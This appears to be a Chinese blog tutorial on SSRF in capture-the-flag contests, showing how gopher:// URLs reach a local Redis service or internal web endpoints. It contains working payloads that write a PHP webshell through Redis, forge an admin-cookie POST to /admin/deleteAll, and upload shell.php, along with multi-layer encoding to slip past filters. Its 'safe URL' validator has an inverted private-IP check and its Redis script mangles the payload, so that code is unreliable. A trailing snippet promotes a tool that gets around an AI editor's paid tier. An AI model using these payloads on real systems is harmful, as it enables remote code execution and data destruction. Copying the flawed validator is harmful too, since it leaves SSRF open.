news 2026/6/10 5:50:35

CTFHUB SSRF实战:手把手教你用Gopher协议绕过本地限制拿Flag

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CTFHUB SSRF实战:手把手教你用Gopher协议绕过本地限制拿Flag

CTF竞赛中的SSRF漏洞实战:Gopher协议高级利用技巧

在网络安全竞赛中,服务器端请求伪造(SSRF)一直是高频考点,也是实际渗透测试中的高危漏洞。不同于基础的HTTP协议利用,Gopher协议因其灵活性和低层特性,常被用于构造复杂请求来绕过各种限制。本文将带您从零开始,通过实战案例深入掌握这一技术。

1. SSRF漏洞与Gopher协议基础

SSRF漏洞的本质是攻击者能够诱使服务器向非预期目标发起网络请求。当目标服务器对127.0.0.1或内网地址有访问限制时,Gopher协议往往能成为突破防线的利器。

Gopher是一种古老的互联网协议,它允许客户端通过单个TCP连接发送多行文本指令。现代浏览器已不再支持,但许多服务器库仍保留兼容性。正是这种"被遗忘"的特性,使其成为SSRF攻击的理想载体。

关键特性对比

特性HTTP协议Gopher协议
请求复杂度相对简单可构造任意TCP流量
头部处理自动处理需手动构造
端口灵活性通常80/443可指定任意端口
现代支持度广泛支持部分后端服务仍兼容
SSRF利用难度较低较高,但绕过能力更强

在CTF比赛中,Gopher协议常被用于:

  • 访问受限的本地服务(如Redis、Memcached)
  • 构造特殊的POST请求绕过过滤
  • 实现文件上传等复杂操作
  • 与CRLF注入结合实现更高级攻击

2. 环境准备与工具链配置

实战前需要准备适当的工具环境。以下是推荐配置:

# 安装基础工具 sudo apt update && sudo apt install -y curl netcat tcpdump python3 # 安装Burp Suite Community Edition (可选) wget https://portswigger.net/burp/releases/download?product=community -O burp.sh chmod +x burp.sh && ./burp.sh

必备工具清单

  1. 网络分析工具

    • Wireshark:可视化网络流量分析
    • tcpdump:命令行抓包利器
    • ngrep:网络层正则匹配
  2. 请求构造工具

    • cURL:命令行HTTP客户端
    • netcat:网络瑞士军刀
    • socat:高级网络连接工具
  3. 编码工具

    • xxd:十六进制查看/编辑
    • base64:编解码工具
    • python:自定义脚本处理

提示:在CTF比赛中,通常限制外部工具安装,建议提前熟悉纯命令行操作方式。

3. Gopher请求构造实战

假设目标场景:需要通过SSRF漏洞访问本地监听的Redis服务(6379端口),但服务器过滤了127.0.0.1和常见端口号。

3.1 原始Redis命令构造

首先准备要执行的Redis命令:

SET flag "HACKED" CONFIG SET dir /var/www/html CONFIG SET dbfilename shell.php SET payload "<?php system($_GET['cmd']);?>" SAVE

3.2 转换为Gopher格式

将Redis命令转换为Gopher协议需要的格式:

import urllib.parse redis_command = """SET flag "HACKED" CONFIG SET dir /var/www/html CONFIG SET dbfilename shell.php SET payload "<?php system($_GET['cmd']);?>" SAVE """ # 添加Redis协议前缀 formatted = "" for cmd in redis_command.split("\n"): if not cmd: continue parts = cmd.split(" ") formatted += f"*{len(parts)}\r\n" for part in parts: formatted += f"${len(part)}\r\n{part}\r\n" # URL编码 encoded = urllib.parse.quote(formatted) gopher_url = f"gopher://127.0.0.1:6379/_{encoded}" print(gopher_url)

3.3 三层URL编码绕过

许多SSRF过滤会检查URL中的特殊字符,因此需要进行多层编码:

triple_encoded = urllib.parse.quote(urllib.parse.quote(urllib.parse.quote(formatted))) final_url = f"http://vulnerable-site.com/ssrf.php?url={triple_encoded}"

编码过程解析

  1. 第一层:确保Redis命令中的空格、换行符被正确编码
  2. 第二层:防止WAF检测到编码后的%字符
  3. 第三层:应对可能的二次URL解码逻辑

4. 高级利用技巧

4.1 结合CRLF注入

Gopher协议天然支持CRLF(回车换行)注入,可用于伪造HTTP头:

gopher://127.0.0.1:80/_POST%20/admin/deleteAll%20HTTP/1.1%0D%0AHost:%20127.0.0.1%0D%0ACookie:%20session=admin%0D%0AContent-Length:%204%0D%0A%0D%0Atrue

对应原始请求:

POST /admin/deleteAll HTTP/1.1 Host: 127.0.0.1 Cookie: session=admin Content-Length: 4 true

4.2 文件上传利用

构造文件上传请求的要点:

  1. 准确计算Content-Length
  2. 正确处理multipart边界
  3. 考虑服务器可能的大小写敏感

示例模板:

gopher://127.0.0.1:80/_POST%20/upload.php%20HTTP/1.1%0D%0AHost:%20127.0.0.1%0D%0AContent-Type:%20multipart/form-data;%20boundary=----WebKitFormBoundaryABC123%0D%0AContent-Length:%20321%0D%0A%0D%0A------WebKitFormBoundaryABC123%0D%0AContent-Disposition:%20form-data;%20name="file";%20filename="shell.php"%0D%0AContent-Type:%20application/octet-stream%0D%0A%0D%0A<?php%20system($_GET['cmd']);?>%0D%0A------WebKitFormBoundaryABC123--%0D%0A

5. 防御与检测方案

了解攻击手段后,开发者应采取以下防护措施:

服务器端防护

  • 严格校验用户输入的URL
  • 禁用非常用协议(Gopher、FTP等)
  • 实施网络层隔离
  • 使用白名单校验目标地址

代码示例:安全URL校验

function isSafeUrl($url) { $parsed = parse_url($url); // 协议白名单 $allowed_schemes = ['http', 'https']; if (!in_array(strtolower($parsed['scheme']), $allowed_schemes)) { return false; } // 域名/IP黑名单 $forbidden_hosts = ['127.0.0.1', 'localhost', '0.0.0.0']; if (in_array(strtolower($parsed['host']), $forbidden_hosts)) { return false; } // 内网IP段检查 $ip = gethostbyname($parsed['host']); if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) { return false; } return true; }

在实际CTF比赛中遇到SSRF题目时,建议按照以下流程排查:

  1. 确认是否存在SSRF漏洞
  2. 测试各种协议支持情况(HTTP/HTTPS/FTP/Gopher等)
  3. 尝试绕过IP/端口限制
  4. 构造精确的协议请求
  5. 必要时进行多层编码

掌握Gopher协议的高级利用需要大量实践,建议搭建本地测试环境反复练习。我在实际比赛中发现,许多队伍失败的原因不是不知道技术,而是对协议细节把握不够精确,比如忘记计算Content-Length或错误处理换行符。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/30 6:40:31

用RDKit处理分子数据,从SMILES到分子指纹的完整实战指南(Python版)

用RDKit处理分子数据&#xff1a;从SMILES到分子指纹的Python实战指南 在药物发现和材料科学领域&#xff0c;将分子结构转化为机器可理解的特征表示是构建预测模型的关键第一步。RDKit作为开源化学信息学工具包&#xff0c;提供了从SMILES字符串到多种分子指纹的完整处理流水…

作者头像 李华
网站建设 2026/5/30 6:40:30

终极指南:如何在Windows电脑上直接安装和运行安卓APK文件?

终极指南&#xff1a;如何在Windows电脑上直接安装和运行安卓APK文件&#xff1f; 【免费下载链接】APK-Installer An Android Application Installer for Windows 项目地址: https://gitcode.com/GitHub_Trending/ap/APK-Installer 你是否厌倦了传统安卓模拟器的笨重和…

作者头像 李华
网站建设 2026/5/30 6:40:29

语雀文档导出全攻略:3步实现零成本知识迁移

语雀文档导出全攻略&#xff1a;3步实现零成本知识迁移 【免费下载链接】yuque-exporter export yuque to local markdown 项目地址: https://gitcode.com/gh_mirrors/yuq/yuque-exporter 在知识管理成为日常工作的今天&#xff0c;语雀作为优秀的文档平台&#xff0c;承…

作者头像 李华
网站建设 2026/5/30 6:40:45

5分钟终极指南:免费解锁Cursor AI编辑器的完整解决方案

5分钟终极指南&#xff1a;免费解锁Cursor AI编辑器的完整解决方案 【免费下载链接】cursor-free-vip [Support 0.45]&#xff08;Multi Language 多语言&#xff09;自动注册 Cursor Ai &#xff0c;自动重置机器ID &#xff0c; 免费升级使用Pro 功能: Youve reached your tr…

作者头像 李华